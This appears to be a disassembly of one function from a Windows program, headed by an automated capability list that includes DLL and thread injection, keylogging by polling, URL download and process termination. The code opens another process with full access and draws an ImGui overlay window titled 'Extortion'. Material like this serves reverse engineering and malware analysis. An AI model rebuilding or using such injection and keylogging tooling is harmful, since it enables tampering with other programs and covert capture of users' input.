Function at 0x140046ac0
Capabilities:
Create thread
Download url
Enumerate processes
Get system information on windows
Inject dll
Inject thread
Log keystrokes via polling
Receive data
Terminate process
Terminate process by name

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
lea rbp, [rsp - 0x400]
sub rsp, 0x500
call fcn.1400445a0
call fcn.1400445a0
mov rdx, rax
call fcn.1400444d0
test eax, eax
je 0x140046b0e
mov r8d, eax
mov dword [0x140245290], eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [0x140245298], rax
call fcn.1400445a0
call fcn.1400445a0
mov rdx, rax
call fcn.1400444d0
test eax, eax
je 0x140046b46
mov r8d, eax
mov dword [0x140245290], eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [0x140245298], rax
test rax, rax
jne 0x140046b5f
mov r8d, Ordinal_26
lea rdx, str.Status:_No_Process_Found_
lea rcx, [0x1402231d0]
call fcn.14003f560
xor r12d, r12d
lea r8, [fcn.140001830]
mov qword [rsp + 0x28], r12
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], r12d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rax, [0x140043b90]
mov dword [rbp + 0x110], 0x50
mov edx, 0x7f00
mov qword [rbp + 0x118], rax
xor ecx, ecx
mov dword [rbp + 0x114], 0x40
mov qword [rbp + 0x120], r12
mov qword [rbp + 0x128], r12
call qword [sym.imp.USER32.dll_LoadIconA]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rbp + 0x130], rax
call qword [sym.imp.USER32.dll_LoadCursorA]
mov edx, 0x7f00
mov qword [rbp + 0x140], r12
mov qword [rbp + 0x138], rax
xor ecx, ecx
lea rax, str.ImGui
mov qword [rbp + 0x148], rax
lea rax, str.Example
mov qword [rbp + 0x150], rax
call qword [sym.imp.USER32.dll_LoadIconA]
lea rcx, [rbp + 0x110]
mov qword [rbp + 0x158], rax
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov r13d, 1
mov ecx, r13d
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
xor ecx, ecx
sub eax, edx
sar eax, 1
lea ebx, [rax - 0xfa]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov qword [rsp + 0x58], r12
lea r8, str.Extortion
mov qword [rsp + 0x50], r12
cdq
mov qword [rsp + 0x48], r12
sub eax, edx
mov rdx, qword [rbp + 0x150]
mov r9d, 0x80000000
mov qword [rsp + 0x40], r12
xor ecx, ecx
mov dword [rsp + 0x38], 0x1f4
sar eax, 1
sub eax, 0xc8
mov dword [rsp + 0x30], 0x190
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov rcx, rax
mov qword [0x1402240e8], rax
lea edx, [r12 - 0x14]
call qword [sym.imp.USER32.dll_GetWindowLongA]
mov rcx, qword [0x1402240e8]
lea edx, [r12 - 0x14]
bts eax, 0x13
mov r8d, eax
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov rcx, qword [0x1402240e8]
lea r9d, [r12 + 2]
mov r8b, 0xff
xor edx, edx
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
movdqa xmm0, xmmword [0x1400c9cd0]
lea rdx, [rbp + 0x188]
mov rcx, qword [0x1402240e8]
movdqu xmmword [rbp + 0x188], xmm0
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
xorps xmm0, xmm0
lea rdx, [0x1402240f0]
movups xmmword [0x1402240f0], xmm0
mov rcx, qword [0x1402240e8]
call qword [sym.imp.USER32.dll_GetWindowRect]
mov r9d, 0x1f4
mov dword [rsp + 0x28], reloc.WS2_32.dll_setsockopt
xor edx, edx
mov dword [rsp + 0x20], reloc.WS2_32.dll_setsockopt
xor ecx, ecx
lea r8d, [r9 - 0x64]
call qword [sym.imp.GDI32.dll_CreateRoundRectRgn]
mov rcx, qword [0x1402240e8]
xor r8d, r8d
mov rdx, rax
call qword [sym.imp.USER32.dll_SetWindowRgn]
mov rax, qword [0x1402240e8]
lea rbx, [0x14024a148]
mov qword [rsp + 0x58], rbx
lea rdi, [0x14024a140]
mov qword [rbp + 0xe0], rax
lea rsi, [0x140249fa0]
lea rax, [rbp - 0x80]
mov qword [rbp + 0xc4], r12
mov qword [rsp + 0x50], rax
xor r9d, r9d
mov qword [rsp + 0x48], rdi
lea rax, [rbp + 0xb0]
mov qword [rsp + 0x40], rsi
xor r8d, r8d
mov qword [rsp + 0x38], rax
mov edx, r13d
mov dword [rsp + 0x30], 7
lea rax, [rsp + 0x60]
mov dword [rsp + 0x28], 2
xor ecx, ecx
mov qword [rsp + 0x20], rax
mov qword [rbp + 0xd8], 2
mov qword [rbp + 0xf0], 2
mov qword [rbp + 0xb0], r12
mov dword [rbp + 0xc0], Ordinal_32
mov dword [rbp + 0xb8], reloc.WLDAP32.dll_Ordinal_60
mov dword [rbp + 0xbc], r13d
mov dword [rbp + 0xd4], reloc.WLDAP32.dll_Ordinal_32
mov qword [rbp + 0xcc], r13
mov qword [rbp + 0xe8], r13
mov dword [rsp + 0x60], 0xb000
mov dword [rsp + 0x64], 0xa000
call qword [sym.imp.d3d11.dll_D3D11CreateDeviceAndSwapChain]
cmp eax, 0x887a0004
jne 0x140046e7f
mov qword [rsp + 0x58], rbx
lea rax, [rbp - 0x80]
mov qword [rsp + 0x50], rax
lea edx, [r12 + 5]
mov qword [rsp + 0x48], rdi
lea rax, [rbp + 0xb0]
mov qword [rsp + 0x40], rsi
xor r9d, r9d
mov qword [rsp + 0x38], rax
xor r8d, r8d
mov dword [rsp + 0x30], 7
lea rax, [rsp + 0x60]
mov dword [rsp + 0x28], 2
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3d11.dll_D3D11CreateDeviceAndSwapChain]
test eax, eax
je 0x140046ea4
call fcn.140043b10
mov rdx, qword [rbp + 0x128]
mov rcx, qword [rbp + 0x150]
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov eax, r13d
jmp 0x1400490e2
mov rcx, qword [0x140249fa0]
lea r9, [rbp - 0x78]
mov qword [rsp + 0x530], r14
lea r8, [0x1400c9b18]
mov qword [rsp + 0x538], r15
xor edx, edx
movaps xmmword [rsp + 0x4f0], xmm6
mov rax, qword [rcx]
movaps xmmword [rsp + 0x4e0], xmm7
movaps xmmword [rsp + 0x4b0], xmm10
movaps xmmword [rsp + 0x4a0], xmm11
movaps xmmword [rsp + 0x490], xmm12
movaps xmmword [rsp + 0x480], xmm13
movaps xmmword [rsp + 0x470], xmm14
movaps xmmword [rsp + 0x460], xmm15
call qword [rax + 0x48]
mov rcx, qword [0x14024a140]
lea r9, [0x140249f98]
mov rdx, qword [rbp - 0x78]
xor r8d, r8d
mov rax, qword [rcx]
call qword [rax + 0x48]
mov rcx, qword [rbp - 0x78]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [0x1402240e8]
mov edx, 0xa
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x1402240e8]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov rbx, qword [0x140224020]
test rbx, rbx
je 0x140046f6a
inc dword [rbx + 0xf4]
mov ecx, 0x5e00
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
test rax, rax
je 0x140046f86
xor edx, edx
mov rcx, rax
call fcn.140001a00
jmp 0x140046f89
mov rax, r12
mov qword [0x140224020], rax
call fcn.140005c60
test rbx, rbx
je 0x140046fa3
mov qword [0x140224020], rbx
jmp 0x140046faa
mov rbx, qword [0x140224020]
test rbx, rbx
jne 0x140046fd0
mov r8d, 0xfe4
lea rdx, str.C:Usersxzelv3D_ObjectsExternalsBasicBasicBasicimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x140224020]
movss xmm7, dword [0x1400c9c24]
lea rdi, [0x1400c8340]
mov rcx, qword [rbx + 0x58]
lea rdx, [0x1400d9100]
mov qword [rsp + 0x28], rdi
movaps xmm3, xmm7
mov r8d, 0x5205c
mov qword [rsp + 0x20], r12
call fcn.14002d320
mov rcx, qword [rbx + 0x58]
lea rdx, [0x1400d9100]
movaps xmm3, xmm7
mov qword [rsp + 0x28], rdi
mov r8d, 0x5205c
mov qword [rsp + 0x20], r12
call fcn.14002d320
movss xmm3, dword [0x1400c9c20]
lea rdx, str.OTTO
mov rcx, qword [rbx + 0x58]
mov r8d, 0x51b88
mov qword [rsp + 0x28], rdi
mov qword [0x14024a1a0], rax
mov qword [rsp + 0x20], r12
call fcn.14002d320
movss xmm3, dword [0x1400c9c18]
lea rdx, [0x1400d9100]
mov rcx, qword [rbx + 0x58]
mov r8d, 0x5205c
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], r12
call fcn.14002d320
movss xmm3, dword [0x1400c9c34]
lea rdx, [0x14012b160]
mov rcx, qword [rbx + 0x58]
mov r8d, 0x51fe0
mov qword [rsp + 0x28], rdi
mov qword [0x14024a1b0], rax
mov qword [rsp + 0x20], r12
call fcn.14002d320
movss xmm3, dword [0x1400c9c4c]
lea rdx, [0x14012b160]
mov rcx, qword [rbx + 0x58]
mov r8d, 0x51fe0
mov qword [rsp + 0x28], rdi
mov qword [0x14024af38], rax
mov qword [rsp + 0x20], r12
call fcn.14002d320
movss xmm6, dword [0x1400c9c14]
lea rdx, [0x14017d140]
mov rcx, qword [rbx + 0x58]
movaps xmm3, xmm6
mov qword [rsp + 0x28], rdi
mov r8d, 0x51e98
mov qword [0x14024a8e0], rax
mov qword [rsp + 0x20], r12
call fcn.14002d320
mov rcx, qword [rbx + 0x58]
lea rdx, [0x140220b70]
movaps xmm3, xmm7
mov qword [rsp + 0x28], rdi
mov r8d, 0x127c
mov qword [rsp + 0x20], r12
call fcn.14002d320
movss xmm15, dword [0x1400c9c08]
lea rdx, [0x140220b70]
mov rcx, qword [rbx + 0x58]
movaps xmm3, xmm15
mov qword [rsp + 0x28], rdi
mov r8d, 0x127c
mov qword [0x14024a1a8], rax
mov qword [rsp + 0x20], r12
call fcn.14002d320
mov rcx, qword [rbx + 0x58]
lea rdx, [0x140220b70]
movaps xmm3, xmm6
mov qword [rsp + 0x28], rdi
mov r8d, 0x127c
mov qword [rsp + 0x20], r12
call fcn.14002d320
xor ecx, ecx
call fcn.140026a90
mov rbx, qword [0x140224020]
mov rsi, qword [0x1402240e8]
test rbx, rbx
jne 0x1400471c1
mov r8d, 0xfe4
lea rdx, str.C:Usersxzelv3D_ObjectsExternalsBasicBasicBasicimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x140224020]
cmp qword [rbx + 0x98], r12
je 0x1400471e4
mov r8d, reloc.WS2_32.dll_WSACleanup
lea rdx, str.C:Usersxzelv3D_ObjectsExternalsBasicBasicBasic_backendsimgui_impl_win32.cpp
lea rcx, str.io.BackendPlatformUserData__nullptr___Already_initialized_a_platform_backend__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea rcx, [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
test eax, eax
je 0x14004734f
lea rcx, [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
test eax, eax
je 0x14004734f
mov rax, qword [0x140224020]
test rax, rax
je 0x14004721a
inc dword [rax + 0xf4]
mov ecx, 0x48
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
je 0x140047247
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rdi], xmm0
movups xmmword [rdi + 0x10], xmm0
movups xmmword [rdi + 0x20], xmm0
movups xmmword [rdi + 0x30], xmm0
mov qword [rdi + 0x40], rax
jmp 0x14004724a
mov rdi, r12
or dword [rbx + 0xc], 6
lea rax, str.imgui_impl_win32
mov qword [rbx + 0x88], rax
mov qword [rbx + 0x98], rdi
mov rbx, qword [0x140224020]
mov qword [rdi], rsi
mov rax, qword [rbp - 0x68]
mov qword [rdi + 0x20], rax
mov rax, qword [rbp - 0x70]
mov qword [rdi + 0x18], rax
mov dword [rdi + 0x28], 9
cmp dword [rbx + 0x48a0], r12d
jg 0x1400472a7
mov r8d, 0x6fc
lea rdx, str.C:Usersxzelv3D_ObjectsExternalsBasicBasicBasicimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x48a8]
mov rbx, r12
mov rcx, qword [rax]
lea rax, str.xinput1_4.dll
mov qword [rbp + 0x160], rax
lea rax, str.xinput1_3.dll
mov qword [rbp + 0x168], rax
lea rax, str.xinput9_1_0.dll
mov qword [rbp + 0x170], rax
lea rax, str.xinput1_2.dll
mov qword [rbp + 0x178], rax
lea rax, str.xinput1_1.dll
mov qword [rcx + 0x28], rsi
mov qword [rbp + 0x180], rax
mov byte [rdi + 0x2d], r13b
mov rcx, qword [rbp + rbx*8 + 0x160]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
jne 0x140047323
inc rbx
cmp rbx, 5
jl 0x140047302
jmp 0x14004734f
lea rdx, str.XInputGetCapabilities
mov qword [rdi + 0x30], rsi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.XInputGetState
mov rcx, rsi
mov qword [rdi + 0x38], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rdi + 0x40], rax
mov rax, qword [0x140224020]
mov r14, qword [0x14024a148]
mov rsi, qword [0x14024a140]
test rax, rax
jne 0x14004738a
mov r8d, 0xfe4
lea rdx, str.C:Usersxzelv3D_ObjectsExternalsBasicBasicBasicimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x140224020]
lea rdi, [rax + 8]
cmp qword [rdi + 0x98], r12
je 0x1400473b8
mov r8d, 0x221
lea rdx, str.C:Usersxzelv3D_ObjectsExternalsBasicBasicBasic_backendsimgui_impl_dx11.cpp
lea rcx, str.io.BackendRendererUserData__nullptr___Already_initialized_a_renderer_backend__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x140224020]
test rax, rax
je 0x1400473c3
inc dword [rax + 0xf4]
mov ecx, 0x78
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
test rax, rax
je 0x140047404
xorps xmm0, xmm0
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x30], xmm0
movups xmmword [rax + 0x40], xmm0
movups xmmword [rax + 0x50], xmm0
movups xmmword [rax + 0x60], xmm0
mov dword [rax + 0x70], 0x1388
mov dword [rax + 0x74], 0x2710
jmp 0x140047407
mov rbx, r12
or dword [rdi + 4], 8
lea rax, str.imgui_impl_dx11
mov qword [rdi + 0x88], rax
lea r8, [rsp + 0x60]
mov qword [rdi + 0x98], rbx
lea rdx, [0x1400c93d0]
mov rax, qword [rsi]
mov rcx, rsi
mov qword [rsp + 0x60], r12
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], r12
call qword [rax]
test eax, eax
jne 0x140047487
mov rcx, qword [rsp + 0x60]
lea r8, [rbp - 0x80]
lea rdx, [0x1400c93e0]
mov rax, qword [rcx]
call qword [rax + Ordinal_50]
test eax, eax
jne 0x140047487
mov rcx, qword [rbp - 0x80]
lea r8, [rbp - 0x78]
lea rdx, [0x1400c93f0]
mov rax, qword [rcx]
call qword [rax + Ordinal_50]
test eax, eax
jne 0x140047487
mov qword [rbx], rsi
mov qword [rbx + 8], r14
mov rax, qword [rbp - 0x78]
mov qword [rbx + 0x10], rax
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x140047497
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rbp - 0x80]
test rcx, rcx
je 0x1400474a6
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rbx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov rcx, qword [rbx + 8]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
cmp byte [0x140224176], r12b
lea rax, [rbp - 0x60]
je 0x1400474cf
movaps xmm0, xmmword [0x1400c9dc0]
jmp 0x1400474d6
movaps xmm0, xmmword [0x1400c9e20]
movups xmmword [rbp - 0x60], xmm0
movups xmm0, xmmword [rax]
mov rax, qword [0x140224020]
movups xmmword [rbp + 0xa0], xmm0
test rax, rax
jne 0x140047511
mov r8d, 0xb5c
lea rdx, str.C:Usersxzelv3D_ObjectsExternalsBasicBasicBasicimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x140224020]
mov dword [rax + 0x3818], r12d
lea rcx, [0x140245970]
mov dword [rax + 0x381c], 0x41200000
xorps xmm1, xmm1
mov dword [rax + 0x3820], 0x41200000
mov dword [rax + 0x382c], 0x41200000
mov dword [rax + 0x3830], 0x41400000
mov dword [rax + 0x3824], 0x40800000
mov qword [rax + 0x37f0], 0x41200000
mov qword [rax + 0x37e8], r12
mov dword [rax + 0x3810], 0x3f800000
movups xmm0, xmmword [0x14024a4e0]
movups xmmword [rax + 0x3904], xmm1
movups xmmword [rax + 0x38d4], xmm0
mov dword [rax + 0x38a8], r12d
mov dword [rax + 0x3814], 0x40a00000
mov dword [rax + 0x3818], 0x3fa66666
mov dword [rax + 0x3854], 0x40a00000
mov dword [rax + 0x3858], 0x41200000
call fcn.140054840
movss xmm12, dword [rbp + 0xac]
lea r14, str.EXTERNAL___BASIC
movss xmm11, dword [0x1400c9b84]
xor r15b, r15b
movss xmm13, dword [0x1400c9c44]
xorps xmm10, xmm10
movss xmm14, dword [0x1400c9c30]
movaps xmmword [rsp + 0x4d0], xmm8
movaps xmmword [rsp + 0x4c0], xmm9
nop dword [rax]
xor r9d, r9d
mov dword [rsp + 0x20], r13d
xor r8d, r8d
lea rcx, [rbp + 0x198]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x140047670
nop
lea rcx, [rbp + 0x198]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x198]
call qword [sym.imp.USER32.dll_DispatchMessageA]
cmp dword [rbp + 0x1a0], 0x12
lea rcx, [rbp + 0x198]
movzx r15d, r15b
cmove r15d, r13d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x140047620
test r15b, r15b
jne 0x140048eb2
mov ecx, reloc.WLDAP32.dll_Ordinal_46
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test r13b, al
jne 0x14004913b
mov ecx, dword [0x14024a000]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov rbx, qword [0x140224020]
test rbx, rbx
je 0x1400476aa
mov rbx, qword [rbx + 0xa0]
test rbx, rbx
jne 0x1400476c7
jmp 0x1400476ad
mov rbx, r12
mov r8d, 0x250
lea rdx, str.C:Usersxzelv3D_ObjectsExternalsBasicBasicBasic_backendsimgui_impl_dx11.cpp
lea rcx, str.bd___nullptr___Did_you_call_ImGui_ImplDX11_Init____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
cmp qword [rbx + 0x48], r12
jne 0x1400476d2
call fcn.140040840
call fcn.1400419f0
call fcn.140008190
call fcn.140042cf0
mov rbx, qword [0x140224020]
cmp dword [rbx + 0x48a0], r12d
jg 0x14004770b
mov r8d, 0x6fc
lea rdx, str.C:Usersxzelv3D_ObjectsExternalsBasicBasicBasicimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x48a8]
lea r8, str.Background
xor edx, edx
mov rcx, qword [rax]
call fcn.140007800
movss xmm1, dword [0x14024a814]
mov r10, rax
movss xmm0, dword [0x14024a810]
mov rcx, qword [0x140224020]
movss dword [rbp + 0x84], xmm1
movss xmm1, dword [0x14024a81c]
movss dword [rbp + 0x80], xmm0
mulss xmm1, dword [rcx + 0x37e0]
lea rcx, [rbp + 0x80]
movss xmm0, dword [0x14024a818]
movss dword [rbp + 0x88], xmm0
movss dword [rbp + 0x8c], xmm1
call fcn.140003d30
mov r9d, eax
mov dword [rsp + 0x28], r12d
lea rdx, [rbp - 0x48]
movss dword [rsp + 0x20], xmm10
lea r8, [rbp - 0x50]
mov dword [rbp - 0x50], 0x44f00000
mov rcx, r10
mov dword [rbp - 0x4c], 0x44870000
mov qword [rbp - 0x48], r12
call fcn.14002a4e0
mov rax, qword [0x140224020]
lea rcx, str.General
xor edx, edx
mov r8d, 0x20ab
or dword [rax + 0x47a8], 2
mov dword [rax + 0x47c8], 0x43c80000
mov dword [rax + 0x47cc], 0x43fa0000
mov dword [rax + 0x47b0], r13d
call fcn.14000e250
mov rcx, qword [0x1402240e8]
lea rdx, [0x1402240f0]
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rbx, qword [0x140224020]
mov rax, qword [rbx + 0x3ed0]
movss xmm2, dword [rax + 0x18]
ucomiss xmm2, xmm10
jp 0x14004782b
jne 0x14004782b
movss xmm0, dword [rax + 0x1c]
ucomiss xmm0, xmm10
jp 0x14004782b
je 0x140047898
movd xmm0, dword [0x1402240f4]
mov r9d, 0x190
movd xmm1, dword [0x1402240f0]
mov rcx, qword [0x1402240e8]
cvtdq2ps xmm0, xmm0
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], 0x1f4
cvtdq2ps xmm1, xmm1
addss xmm0, dword [rax + 0x1c]
addss xmm1, xmm2
cvttss2si r8d, xmm0
cvttss2si edx, xmm1
call qword [sym.imp.USER32.dll_MoveWindow]
mov rax, qword [0x140224020]
lea rdx, [rbp - 0x40]
xor r8d, r8d
mov qword [rbp - 0x40], r12
mov rcx, qword [rax + 0x3ed0]
call fcn.1400118e0
mov rbx, qword [0x140224020]
movss xmm0, dword [rbx + 0x37e0]
lea rcx, [rbx + 0x4828]
movss xmm6, dword [0x14024af30]
lea rdx, [rbp + 0x100]
movss dword [rbp + 0x104], xmm0
mov dword [rbp + 0x100], r12d
call fcn.14001dc70
mov rax, qword [0x140224020]
movss dword [rbx + 0x37e0], xmm6
test rax, rax
jne 0x1400478ff
mov r8d, 0xfe4
lea rdx, str.C:Usersxzelv3D_ObjectsExternalsBasicBasicBasicimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x140224020]
movss xmm0, dword [rax + 0x18]
xor r8d, r8d
mulss xmm0, xmm15
xor edx, edx
mov ecx, 0x209
movss dword [0x1400d90f4], xmm0
call fcn.140012440
test al, al
je 0x140047932
cmp byte [0x140224175], r12b
sete byte [0x140224175]
mov rcx, qword [0x140224020]
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r13b
mov rax, qword [rcx + 0x3ed0]
movss xmm1, dword [0x14024a4e4]
movss xmm0, dword [0x14024a4e0]
movss dword [rbp + 0x94], xmm1
movss xmm1, dword [0x14024a4ec]
mulss xmm1, dword [rcx + 0x37e0]
lea rcx, [rbp + 0x90]
mov rbx, qword [rax + 0x290]
movsd xmm6, qword [rax + 0x18]
movss dword [rbp + 0x90], xmm0
movss xmm0, dword [0x14024a4e8]
movss dword [rbp + 0x9c], xmm1
movss dword [rbp + 0x98], xmm0
call fcn.140003d30
movaps xmm8, xmm6
movsd qword [rsp + 0x60], xmm6
movss xmm9, dword [rsp + 0x60]
lea r8, [rbp - 0x38]
shufps xmm8, xmm8, 0x55
lea rdx, [rsp + 0x60]
movaps xmm0, xmm8
mov dword [rsp + 0x28], r12d
addss xmm0, dword [0x1400c9c8c]
movaps xmm7, xmm9
movss dword [rsp + 0x20], xmm15
addss xmm7, dword [0x1400c9c84]
mov r9d, eax
mov rcx, rbx
movss dword [rbp - 0x34], xmm0
movss dword [rbp - 0x38], xmm7
call fcn.14002a4e0
call fcn.1400434d0
cmp byte [0x14024a821], r12b
mov rsi, qword [0x140224020]
jne 0x1400482b9
mov rcx, qword [0x14024af38]
mov qword [rsp + 0x60], rcx
mov rdi, rcx
test rcx, rcx
jne 0x140047a6f
mov rcx, qword [rsi + 0x68]
test rcx, rcx
jne 0x140047a67
mov rdi, qword [rsi + 0x58]
cmp dword [rdi + 0x58], r12d
jg 0x140047a60
mov r8d, 0x6fc
lea rdx, str.C:Usersxzelv3D_ObjectsExternalsBasicBasicBasicimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rdi + 0x60]
mov rcx, qword [rax]
mov rdi, rcx
mov qword [rsp + 0x60], rcx
call fcn.140011680
lea rcx, [rsi + 0x4838]
lea rdx, [rsp + 0x60]
call fcn.14001dfd0
mov rdx, qword [rdi + 0x40]
mov rcx, qword [rsi + 0x3ed0]
mov rdx, qword [rdx + 8]
mov rcx, qword [rcx + 0x290]
call fcn.140027ba0
movups xmm0, xmmword [0x14024a158]
mov r8, qword [0x140224020]
lea rcx, [rsp + 0x60]
movups xmmword [rsp + 0x60], xmm0
shufps xmm0, xmm0, 0xff
mulss xmm0, dword [r8 + 0x37e0]
movss dword [rsp + 0x6c], xmm0
call fcn.140003d30
movss xmm0, dword [0x1400c9cb8]
lea rdx, [rbp - 0x80]
movss xmm3, dword [0x1400c9cac]
movaps xmm6, xmm8
movss xmm2, dword [r8 + 0x3c20]
mov esi, eax
mov rcx, qword [r8 + 0x3c18]
addss xmm6, dword [0x1400c9c60]
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], r14
movss dword [rsp + 0x20], xmm0
call fcn.140032280
movss xmm0, dword [rbp - 0x80]
subss xmm7, xmm9
subss xmm6, xmm8
addss xmm0, dword [0x1400c9bb0]
mulss xmm7, xmm11
mulss xmm6, xmm11
addss xmm9, xmm7
cvttss2si eax, xmm0
movss xmm0, dword [rbp - 0x7c]
addss xmm8, xmm6
mulss xmm0, xmm11
movd xmm1, eax
subss xmm8, xmm0
cvtdq2ps xmm1, xmm1
movss dword [rbp - 0x2c], xmm8
movss dword [rbp - 0x80], xmm1
mulss xmm1, xmm11
subss xmm9, xmm1
movss dword [rbp - 0x30], xmm9
test esi, 0xff000000
je 0x140047c04
mov rax, qword [rbx + 0x38]
mov rdi, qword [rax + 8]
movss xmm6, dword [rax + 0x10]
mov rax, qword [rbx + 0x98]
mov rcx, qword [rdi + 0x40]
cmp qword [rcx + 8], rax
je 0x140047bbb
mov r8d, 0x678
lea rdx, str.C:Usersxzelv3D_ObjectsExternalsBasicBasicBasicimgui_draw.cpp
lea rcx, str.font__ContainerAtlas__TexID___CmdHeader.TextureId
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [rbx + 0x88]
mov byte [rsp + 0x48], r12b
lea rax, [0x1400c9918]
movss dword [rsp + 0x40], xmm10
lea r9, [rbp - 0x30]
mov qword [rsp + 0x38], rax
movaps xmm2, xmm6
lea rax, [rsp + 0x60]
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rax
mov rdx, rbx
mov rcx, rdi
mov dword [rsp + 0x20], esi
movups xmmword [rsp + 0x60], xmm0
call fcn.1400324a0
call fcn.1400117b0
cmp byte [0x14024a820], r12b
mov eax, __WSAFDIsSet
mov ecx, 0x64
cmovne eax, ecx
mov rcx, qword [0x140224020]
movd xmm2, eax
mov rax, qword [rcx + 0x3ed0]
cvtdq2ps xmm2, xmm2
mov byte [rax + 0xb0], r13b
mov rax, qword [rcx + 0x3ed0]
movss xmm1, dword [rax + 0x18]
movss xmm0, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x7c]
subss xmm0, dword [rax + 0x80]
mov byte [rax + 0x139], r13b
addss xmm1, dword [0x1400c9c64]
addss xmm0, xmm2
movss dword [rax + 0xf8], xmm1
movss dword [rax + 0xfc], xmm0
call fcn.140015370
mov rcx, qword [0x140224020]
xor edx, edx
cmp byte [0x14024a820], r12b
mov r9d, reloc.WLDAP32.dll_Ordinal_50
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov rax, qword [rcx + 0x3ed0]
mov dword [rsp + 0x28], r12d
mov byte [rax + 0xb0], r13b
mov rax, qword [rcx + 0x3ed0]
lea rcx, str.Username
movss xmm1, dword [rax + 0x18]
subss xmm1, dword [rax + 0x7c]
movss xmm0, dword [rax + 0x1c]
subss xmm0, dword [rax + 0x80]
mov byte [rax + 0x139], r13b
addss xmm1, xmm13
movss dword [rax + 0xf8], xmm1
jne 0x14004804b
addss xmm0, dword [0x1400c9c68]
lea rdi, [0x1402240b0]
mov dword [rbp - 0x28], 0x43960000
mov r8, rdi
mov dword [rbp - 0x24], 0x42700000
